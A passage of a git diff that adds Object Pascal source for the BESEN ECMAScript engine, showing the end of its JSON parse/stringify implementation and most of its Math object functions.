inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='JSON'; + + RegisterNativeFunction('parse',NativeParse,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('stringify',NativeStringify,3,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectJSON.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectJSON.NativeParse(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Root,Recviver:TBESENObject; + procedure Walk(const Holder:TBESENObject;const Name:TBESENString;var rv:TBESENValue); + var Val,NewElement,Temp:TBESENValue; + i,Len:int64; + Enumerator:TBESENObjectPropertyEnumerator; + PropKey:TBESENString; + Keys:TBESENStrings; + p:TBESENString; + ValuePointers:array[0..1] of PBESENValue; + o:TBESENObject; + begin + Keys:=nil; + Holder.Get(Name,Val); + if (Val.ValueType=bvtOBJECT) and assigned(Val.Obj) then begin + o:=TBESENObject(Val.Obj); + o.GarbageCollectorLock; + try + if Val.Obj is TBESENObjectArray then begin + i:=0; + TBESENObject(Val.Obj).Get('length',Temp,TBESENObject(Val.Obj),BESENLengthHash); + Len:=TBESEN(Instance).ToInt(Temp); + while i<Len do begin + Walk(TBESENObject(Val.Obj),BESENArrayIndexToStr(i),NewElement); + if NewElement.ValueType=bvtUNDEFINED then begin + TBESENObject(Val.Obj).Delete(BESENArrayIndexToStr(i),false); + end else begin + TBESENObject(Val.Obj).DefineOwnProperty(BESENArrayIndexToStr(i),BESENDataPropertyDescriptor(NewElement,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + end; + inc(i); + end; + end else begin + try + i:=0; + Enumerator:=nil; + PropKey:=''; + try + Enumerator:=TBESENObject(Val.Obj).Enumerator(true,false); + Enumerator.Reset; + while Enumerator.GetNext(PropKey) do begin + if i>=length(Keys) then begin + SetLength(Keys,i+256); + end; + Keys[i]:=PropKey; + inc(i); + end; + finally + BESENFreeAndNil(Enumerator); + end; + i:=0; + while i<length(Keys) do begin + p:=Keys[i]; + Walk(TBESENObject(Val.Obj),p,NewElement); + if NewElement.ValueType=bvtUNDEFINED then begin + TBESENObject(Val.Obj).Delete(p,false); + end else begin + TBESENObject(Val.Obj).DefineOwnProperty(p,BESENDataPropertyDescriptor(NewElement,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + end; + inc(i); + end; + finally + SetLength(Keys,0); + end; + end; + finally + o.GarbageCollectorUnlock; + end; + end; + Temp.ValueType:=bvtSTRING; + Temp.Str:=Name; + ValuePointers[0]:=@Temp; + ValuePointers[1]:=@Val; + TBESEN(Instance).ObjectCall(Recviver,BESENObjectValue(Holder),@ValuePointers,2,rv); + end; +begin + if CountArguments>0 then begin + ResultValue:=TBESEN(Instance).JSONEval({$ifndef BESENSingleStringType}BESENUTF16ToUTF8({$endif}TBESEN(Instance).ToStr(Arguments^[0]^){$ifndef BESENSingleStringType}){$endif}); + end else begin + ResultValue:=BESENUndefinedValue; + end; + if (CountArguments>1) and BESENIsCallable(Arguments^[1]^) then begin + Recviver:=TBESENObject(Arguments^[1]^.Obj); + Root:=TBESENObject.Create(Instance,TBESEN(Instance).ObjectPrototype); + TBESEN(Instance).GarbageCollector.Add(Root); + Root.GarbageCollectorLock; + try + Root.DefineOwnProperty('',BESENDataPropertyDescriptor(ResultValue,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + Walk(Root,'',ResultValue); + finally + Root.GarbageCollectorUnlock; + end; + end; +end; + +procedure TBESENObjectJSON.NativeStringify(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Value,Replacer,Space,v:TBESENValue; + i,j,k:int64; + Gap,Ident,vs:TBESENString; + ReplacerFunction,Wrapper:TBESENObject; + Stack:TBESENPointerList; + PropertyList:TBESENStrings; + HasPropertyList:boolean; + PropertyListStringTree:TBESENStringTree; + PropertyListStringTreeData:TBESENStringTreeData; + procedure Str(const Key:TBESENSTRING;const Holder:TBESENObject;var rv:TBESENValue); + var Value,toJSON,v,Temp:TBESENValue; + Output,StepBack:TBESENString; + i,j:int64; + oi:integer; + Enumerator:TBESENObjectPropertyEnumerator; + PropKey:TBESENString; + Keys:TBESENStrings; + ValuePointers:array[0..1] of PBESENValue; + begin + Keys:=nil; + Holder.Get(Key,Value); + if Value.ValueType=bvtOBJECT then begin + TBESENObject(Value.Obj).Get('toJSON',toJSON); + iF BESENIsCallable(toJSON) then begin + v.ValueType:=bvtSTRING; + v.Str:=Key; + ValuePointers[0]:=@v; + TBESEN(Instance).ObjectCall(TBESENObject(toJSON.Obj),Value,@ValuePointers,1,Temp); + BESENCopyValue(Value,Temp); + end; + end; + if assigned(ReplacerFunction) then begin + v.ValueType:=bvtSTRING; + v.Str:=Key; + ValuePointers[0]:=@v; + ValuePointers[1]:=@Value; + TBESEN(Instance).ObjectCall(ReplacerFunction,BESENObjectValue(Holder),@ValuePointers,2,Temp); + BESENCopyValue(Value,Temp); + end; + if (Value.ValueType=bvtOBJECT) and not assigned(Value.Obj) then begin + Value.ValueType:=bvtNULL; + end; + if Value.ValueType=bvtOBJECT then begin + if Value.Obj is TBESENObjectNumber then begin + TBESEN(Instance).ToNumberValue(Value,Temp); + BESENCopyValue(Value,Temp); + end else if Value.Obj is TBESENObjectString then begin + TBESEN(Instance).ToStringValue(Value,Temp); + BESENCopyValue(Value,Temp); + end else if Value.Obj is TBESENObjectBoolean then begin + TBESEN(Instance).ToPrimitiveValue(Value,Temp); + BESENCopyValue(Value,Temp); + end; + end; + case Value.ValueType of + bvtNULL:begin + rv:=BESENStringValue('null'); + end; + bvtBOOLEAN:begin + if Value.Bool then begin + rv:=BESENStringValue('true'); + end else begin + rv:=BESENStringValue('false'); + end; + end; + bvtSTRING:begin + rv:=BESENStringValue(BESENJSONStringQuote(TBESEN(Instance).ToStr(Value))); + end; + bvtNUMBER:begin + if BESENIsFinite(Value.Num) then begin + TBESEN(Instance).ToStringValue(Value,rv); + end else begin + rv:=BESENStringValue('null'); + end; + end; + bvtOBJECT:begin + if Stack.Find(Value.Obj)>=0 then begin + raise EBESENTypeError.Create('Cyclical situation found'); + end; + oi:=Stack.Add(Value.Obj); + StepBack:=Ident; + Ident:=Ident+Gap; + if BESENIsCallable(Value) then begin + rv:=BESENUndefinedValue; + end else if Value.Obj is TBESENObjectArray then begin + TBESENObject(Value.Obj).Get('length',Temp,TBESENObject(Value.Obj),BESENLengthHash); + j:=TBESEN(Instance).ToUInt32(Temp); + if j=0 then begin + Output:='[]'; + end else begin + if length(Ident)>0 then begin + Output:='['#10+Ident; + end else begin + Output:='['; + end; + i:=0; + while i<j do begin + Str(BESENArrayIndexToStr(i),TBESENObject(Value.Obj),v); + if v.ValueType=bvtUNDEFINED then begin + Output:=Output+'null'; + end else begin + Output:=Output+TBESEN(Instance).ToStr(v); + end; + inc(i); + if i<j then begin + Output:=Output+','; + if length(Ident)>0 then begin + Output:=Output+#10+Ident; + end; + end; + end; + if length(Ident)>0 then begin + Output:=Output+#10+StepBack+']'; + end else begin + Output:=Output+']'; + end; + end; + rv:=BESENStringValue(Output); + end else begin + try + if HasPropertyList and (length(PropertyList)>0) then begin + Keys:=copy(PropertyList,0,length(PropertyList)); + j:=length(Keys); + end else begin + j:=0; + Enumerator:=nil; + PropKey:=''; + try + Enumerator:=TBESENObject(Value.Obj).Enumerator(true,false); + Enumerator.Reset; + while Enumerator.GetNext(PropKey) do begin + if j>=length(Keys) then begin + SetLength(Keys,j+256); + end; + Keys[j]:=PropKey; + inc(j); + end; + finally + BESENFreeAndNil(Enumerator); + end; + end; + if j=0 then begin + Output:='{}'; + end else begin + if length(Ident)>0 then begin + Output:='{'#10+Ident; + end else begin + Output:='{'; + end; + i:=0; + while i<j do begin + Str(Keys[i],TBESENObject(Value.Obj),v); + Output:=Output+BESENJSONStringQuote(Keys[i]); + if length(Ident)>0 then begin + Output:=Output+': '; + end else begin + Output:=Output+':'; + end; + if v.ValueType=bvtUNDEFINED then begin + Output:=Output+'null'; + end else begin + Output:=Output+TBESEN(Instance).ToStr(v); + end; + inc(i); + if i<j then begin + Output:=Output+','; + if length(Ident)>0 then begin + Output:=Output+#10+Ident; + end; + end; + end; + if length(Ident)>0 then begin + Output:=Output+#10+StepBack+'}'; + end else begin + Output:=Output+'}'; + end; + end; + rv:=BESENStringValue(Output); + finally + SetLength(Keys,0); + end; + end; + Stack.Delete(oi); + Ident:=StepBack; + end; + else begin + rv:=BESENUndefinedValue; + end; + end; + end; +var PropItem:TBESENObjectProperty; +begin + Gap:=''; + Ident:=''; + ReplacerFunction:=nil; + PropertyList:=nil; + Stack:=TBESENPointerList.Create; + try + if CountArguments>0 then begin + Value:=Arguments^[0]^; + end else begin + Value:=BESENUndefinedValue; + end; + if CountArguments>1 then begin + Replacer:=Arguments^[1]^; + end else begin + Replacer:=BESENUndefinedValue; + end; + HasPropertyList:=false; + if (Replacer.ValueType=bvtOBJECT) and assigned(Replacer.Obj) then begin + if BESENIsCallable(Replacer) then begin + ReplacerFunction:=TBESENObject(Replacer.Obj); + end else if Replacer.Obj is TBESENObjectArray then begin + PropertyListStringTree:=TBESENStringTree.Create; + try + HasPropertyList:=true; + PropItem:=TBESENObject(Replacer.Obj).Properties.First; + k:=0; + while assigned(PropItem) do begin + if (boppENUMERABLE in PropItem.Descriptor.Presents) and (bopaENUMERABLE in PropItem.Descriptor.Attributes) and BESENArrayToIndex(PropItem.Key,i) then begin + TBESENObject(Replacer.Obj).Get(PropItem.Key,v); + if (v.ValueType in [bvtSTRING,bvtNUMBER]) or ((v.ValueType=bvtOBJECT) and assigned(TBESENObject(v.Obj)) and ((TBESENObject(v.Obj) is TBESENObjectString) or (TBESENObject(v.Obj) is TBESENObjectNumber))) then begin + vs:=TBESEN(Instance).ToStr(v); + if not PropertyListStringTree.Find(vs,PropertyListStringTreeData) then begin + PropertyListStringTreeData.i:=k; + PropertyListStringTree.Add(vs,PropertyListStringTreeData); + if k>=length(PropertyList) then begin + SetLength(PropertyList,k+256); + end; + PropertyList[k]:=vs; + inc(k); + end; + end; + end; + PropItem:=PropItem.Next; + end; + SetLength(PropertyList,k); + finally + BESENFreeAndNil(PropertyListStringTree); + end; + end; + end; + if CountArguments>2 then begin + if (Arguments^[2]^.ValueType=bvtOBJECT) and assigned(Arguments^[2]^.Obj) then begin + if Arguments^[2]^.Obj is TBESENObjectNumber then begin + TBESEN(Instance).ToNumberValue(Arguments^[2]^,Space); + end else if Arguments^[2]^.Obj is TBESENObjectString then begin + TBESEN(Instance).ToStringValue(Arguments^[2]^,Space); + end; + end else begin + Space:=Arguments^[2]^; + end; + if Space.ValueType=bvtNumber then begin + j:=min(10,TBESEN(Instance).ToInt(Space)); + i:=0; + while i<j do begin + Gap:=Gap+' '; + inc(i); + end; + end else if Space.ValueType=bvtSTRING then begin + Gap:=copy(TBESEN(Instance).ToStr(Space),1,10); + end; + end; + Wrapper:=TBESENObject.Create(Instance,TBESEN(Instance).ObjectPrototype); + TBESEN(Instance).GarbageCollector.Add(Wrapper); + Wrapper.GarbageCollectorLock; + try + Wrapper.DefineOwnProperty('',BESENDataPropertyDescriptor(Value,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + Str('',Wrapper,ResultValue); + finally + Wrapper.GarbageCollectorUnlock; + end; + finally + BESENFreeAndNil(Stack); + SetLength(PropertyList,0); + end; +end; + +end. diff --git a/Core/JS/BESENObjectMath.pas b/Core/JS/BESENObjectMath.pas new file mode 100644 index 0000000..6879754 --- /dev/null +++ b/Core/JS/BESENObjectMath.pas @@ -0,0 +1,524 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectMath; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectMath=class(TBESENObject) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeAbs(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeACos(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeASin(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeATan(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeATan2(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeCeil(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeCos(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeExp(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeFloor(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeLog(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeMax(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeMin(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativePow(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeRandom(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeRound(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSin(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSqrt(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeTan(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENNumberUtils; + +constructor TBESENObjectMath.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +var v:TBESENValue; +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Math'; + + v:=BESENEmptyValue; + v:=BESENNumberValue(2.7182818284590452354); + OverwriteData('E',v,[]); + + v:=BESENNumberValue(2.7182818284590452354); + OverwriteData('E',v,[]); + + v:=BESENNumberValue(2.302585092994046); + OverwriteData('LN10',v,[]); + + v:=BESENNumberValue(0.6931471805599453); + OverwriteData('LN2',v,[]); + + v:=BESENNumberValue(1.4426950408889634); + OverwriteData('LOG2E',v,[]); + + v:=BESENNumberValue(0.4342944819032518); + OverwriteData('LOG10E',v,[]); + + v:=BESENNumberValue(3.1415926535897932); + OverwriteData('PI',v,[]); + + v:=BESENNumberValue(0.7071067811865476); + OverwriteData('SQRT1_2',v,[]); + + v:=BESENNumberValue(1.4142135623730951); + OverwriteData('SQRT2',v,[]); + + RegisterNativeFunction('abs',NativeAbs,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('acos',NativeACos,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('asin',NativeASin,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('atan',NativeATan,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('atan2',NativeATan2,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('ceil',NativeCeil,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('cos',NativeCos,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('exp',NativeExp,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('floor',NativeFloor,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('log',NativeLog,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('max',NativeMax,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('min',NativeMin,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('pow',NativePow,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('random',NativeRandom,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('round',NativeRound,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('sin',NativeSin,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('sqrt',NativeSqrt,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('tan',NativeTan,1,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectMath.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectMath.NativeAbs(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if CountArguments=0 then begin + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if not BESENIsNaN(ResultValue.Num) then begin + PBESENDoubleHiLo(@ResultValue.Num)^.Hi:=PBESENDoubleHiLo(@ResultValue.Num)^.Hi and $7fffffff; + end; + end; +end; + +procedure TBESENObjectMath.NativeACos(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if CountArguments=0 then begin + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if not BESENIsNaN(ResultValue.Num) then begin + if (ResultValue.Num<-1) or (ResultValue.Num>1) then begin + int64(pointer(@ResultValue.Num)^):=int64(pointer(@BESENDoubleNaN)^); + end else if ResultValue.Num=1 then begin + ResultValue.Num:=0; + end else begin + ResultValue.Num:=arccos(ResultValue.Num); + end; + end; + end; +end; + +procedure TBESENObjectMath.NativeASin(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if CountArguments=0 then begin + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if not BESENIsNaN(ResultValue.Num) then begin + if (ResultValue.Num<-1) or (ResultValue.Num>1) then begin + int64(pointer(@ResultValue.Num)^):=int64(pointer(@BESENDoubleNaN)^); + end else if not BESENIsZero(ResultValue.Num) then begin + ResultValue.Num:=arcsin(ResultValue.Num); + end; + end; + end; +end; + +procedure TBESENObjectMath.NativeATan(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if CountArguments=0 then begin + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if not (BESENIsNaN(ResultValue.Num) or BESENIsZero(ResultValue.Num)) then begin + if BESENIsPosInfinite(ResultValue.Num) then begin + ResultValue.Num:=PI*0.5; + end else if BESENIsNegInfinite(ResultValue.Num) then begin + ResultValue.Num:=-(PI*0.5); + end else begin + ResultValue.Num:=arctan(ResultValue.Num); + end; + end; + end; +end; + +procedure TBESENObjectMath.NativeATan2(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var x,y:TBESENNumber; +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments<2 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + y:=TBESEN(Instance).ToNum(Arguments^[0]^); + x:=TBESEN(Instance).ToNum(Arguments^[1]^); + if BESENIsNaN(y) or BESENIsNaN(x) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if (y>0) and BESENIsZero(x) then begin + ResultValue.Num:=PI*0.5; + end else if BESENIsPosZero(y) and ((x>0) or BESENIsPosZero(x)) then begin + ResultValue.Num:=0; + end else if BESENIsPosZero(y) and (BESENIsNegZero(x) or (x<0)) then begin + ResultValue.Num:=PI; + end else if BESENIsNegZero(y) and ((BESENIsFinite(x) and not BESENIsNegative(x)) or BESENIsPosZero(x)) then begin + ResultValue.Num:=0; + PBESENDoubleHiLo(@ResultValue.Num)^.Hi:=PBESENDoubleHiLo(@ResultValue.Num)^.Hi or $80000000; + end else if BESENIsNegZero(y) and (BESENIsNegZero(x) or (x<0)) then begin + ResultValue.Num:=-PI; + end else if (y<0) and BESENIsZero(x) then begin + ResultValue.Num:=-PI*0.5; + end else if ((y>0) and BESENIsFinite(y)) and BESENIsPosInfinite(x) then begin + ResultValue.Num:=0; + end else if ((y>0) and BESENIsFinite(y)) and BESENIsNegInfinite(x) then begin + ResultValue.Num:=PI; + end else if ((y<0) and BESENIsFinite(y)) and BESENIsPosInfinite(x) then begin + ResultValue.Num:=0; + PBESENDoubleHiLo(@ResultValue.Num)^.Hi:=PBESENDoubleHiLo(@ResultValue.Num)^.Hi or $80000000; + end else if ((y<0) and BESENIsFinite(y)) and BESENIsNegInfinite(x) then begin + ResultValue.Num:=-PI; + end else if BESENIsPosInfinite(y) and BESENIsFinite(x) then begin + ResultValue.Num:=PI*0.5; + end else if BESENIsNegInfinite(y) and BESENIsFinite(x) then begin + ResultValue.Num:=-(PI*0.5); + end else if BESENIsPosInfinite(y) and BESENIsPosInfinite(x) then begin + ResultValue.Num:=PI*0.25; + end else if BESENIsPosInfinite(y) and BESENIsNegInfinite(x) then begin + ResultValue.Num:=(3*PI)*0.25; + end else if BESENIsNegInfinite(y) and BESENIsPosInfinite(x) then begin + ResultValue.Num:=-(PI*0.25); + end else if BESENIsNegInfinite(y) and BESENIsNegInfinite(x) then begin + ResultValue.Num:=-((3*PI)*0.25); + end else begin + ResultValue.Num:=arctan2(y,x); + end; + end; +end; + +procedure TBESENObjectMath.NativeCeil(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if not (BESENIsNaN(ResultValue.Num) or BESENIsInfinite(ResultValue.Num) or BESENIsZero(ResultValue.Num)) then begin + if (ResultValue.Num<0) and (ResultValue.Num>(-1)) then begin + ResultValue.Num:=0; + PBESENDoubleHiLo(@ResultValue.Num)^.Hi:=PBESENDoubleHiLo(@ResultValue.Num)^.Hi or $80000000; + end else begin + ResultValue.Num:=BESENCeil(ResultValue.Num); + end; + end; + end; +end; + +procedure TBESENObjectMath.NativeCos(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if BESENIsNaN(ResultValue.Num) or BESENIsInfinite(ResultValue.Num) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if BESENIsZero(ResultValue.Num) then begin + ResultValue.Num:=1; + end else begin + ResultValue.Num:=cos(ResultValue.Num); + end; + end; +end; + +procedure TBESENObjectMath.NativeExp(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if BESENIsNaN(ResultValue.Num) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if BESENIsZero(ResultValue.Num) then begin + ResultValue.Num:=1; + end else if BESENIsPosInfinite(ResultValue.Num) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end else if BESENIsNegInfinite(ResultValue.Num) then begin + ResultValue.Num:=0; + end else begin + ResultValue.Num:=exp(ResultValue.Num); + end; + end; +end; + +procedure TBESENObjectMath.NativeFloor(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if not (BESENIsNaN(ResultValue.Num) or BESENIsInfinite(ResultValue.Num) or BESENIsZero(ResultValue.Num)) then begin + if (ResultValue.Num>0) and (ResultValue.Num<1) then begin + ResultValue.Num:=0; + end else begin + ResultValue.Num:=BESENFloor(ResultValue.Num); + end; + end; + end; +end; + +procedure TBESENObjectMath.NativeLog(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if BESENIsNaN(ResultValue.Num) or (ResultValue.Num<0) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if BESENIsZero(ResultValue.Num) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfNeg)^); + end else if ResultValue.Num=1 then begin + ResultValue.Num:=0; + end else if BESENIsPosInfinite(ResultValue.Num) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end else begin + ResultValue.Num:=ln(ResultValue.Num); + end; + end; +end; + +procedure TBESENObjectMath.NativeMax(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var x,n:TBESENNumber; + i:integer; +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfNeg)^); + end else begin + n:=TBESENNumber(pointer(@BESENDoubleInfNeg)^); + for i:=0 to CountArguments-1 do begin + x:=TBESEN(Instance).ToNum(Arguments^[i]^); + if BESENIsNaN(x) then begin + n:=TBESENNumber(pointer(@BESENDoubleNaN)^); + break; + end; + if (i=0) or ((x>n) or (BESENIsPosInfinite(x) or (BESENIsPosZero(x) and BESENIsNegZero(n)))) then begin + n:=x; + end; + end; + ResultValue.Num:=n; + end; +end; + +procedure TBESENObjectMath.NativeMin(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var x,n:TBESENNumber; + i:integer; +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end else begin + n:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + for i:=0 to CountArguments-1 do begin + x:=TBESEN(Instance).ToNum(Arguments^[i]^); + if BESENIsNaN(x) then begin + n:=TBESENNumber(pointer(@BESENDoubleNaN)^); + break; + end; + if (i=0) or ((x<n) or (BESENIsNegInfinite(x) or (BESENIsNegZero(x) and BESENIsPosZero(n)))) then begin + n:=x; + end; + end; + ResultValue.Num:=n; + end; +end; + +procedure TBESENObjectMath.NativePow(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var x,y:TBESENNumber; +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments<2 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + x:=TBESEN(Instance).ToNum(Arguments^[0]^); + y:=TBESEN(Instance).ToNum(Arguments^[1]^); + if BESENIsNaN(y) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if BESENIsZero(y) then begin + ResultValue.Num:=1; + end else if BESENIsNaN(x) and not BESENIsZero(y) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if (abs(x)>1) and BESENIsPosInfinite(y) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end else if (abs(x)>1) and BESENIsNegInfinite(y) then begin + ResultValue.Num:=0; + end 